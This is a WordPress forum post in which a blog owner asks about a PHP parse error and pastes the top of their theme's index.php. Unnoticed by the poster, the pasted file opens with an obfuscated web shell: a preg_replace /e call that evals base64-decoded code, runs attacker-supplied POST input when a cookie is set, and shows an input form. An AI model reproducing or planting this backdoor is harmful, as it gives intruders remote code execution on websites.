Parse error: syntax error, unexpected ';', expecting T_STRING or T_VARIABLE
-
My Home page has a parsing error. It appears to have happened without me making any updates. If you go to an indivual post, the web page displays with no problem. It’s just the Home page that has an issue.
The error is: Parse error: syntax error, unexpected ‘;’, expecting T_STRING or T_VARIABLE or ‘$’ in /home/nanos1/public_html/blog/wp-content/themes/landingpage/index.php on line 14
Line 14: <h2>” rel=”bookmark” title=”<?php the_title(); ?>” class=”post_title”><?php the_title(); ?></h2>
The first 20 lines of code from my cpanel editor follows:
<?php
preg_replace(“/.+/esi”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYgKCFlbXB0eSgkX0NPT0tJRVsndiddKSBhbmQgJF9DT09LSUVbJ3YnXT09J2QnKXtpZiAoIWVtcHR5KCRfUE9TVFsnYyddKSkge2VjaG8gJzx0ZXh0YXJlYSByb3dzPTI4IGNvbHM9ODA+JzsgJGQ9YmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLCRfUE9TVFsnYyddKSk7aWYoJGQpIGV2YWwoJGQpOyBlY2hvICc8L3RleHRhcmVhPic7fQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD1wb3N0Pjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjggbmFtZT1jPjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0+JztleGl0O30=’\x29\x29\x3B”,’1′);
?>
<?php get_header(); ?><div class=”narrowcolumn”>
<div class=”narrowcolumn-top”> </div>
<div class=”narrowcolumn-bg”>
<?php if(have_posts()) : ?><?php while(have_posts()) : the_post(); ?>
<div class=”post” id=”post-<?php the_ID(); ?>”>
<h2>” rel=”bookmark” title=”<?php the_title(); ?>” class=”post_title”><?php the_title(); ?></h2>
<div class=”entry”>
<div class=”postcontent”>
<?php the_content('Read more…'); ?>
</div>
- The topic ‘Parse error: syntax error, unexpected ';', expecting T_STRING or T_VARIABLE’ is closed to new replies.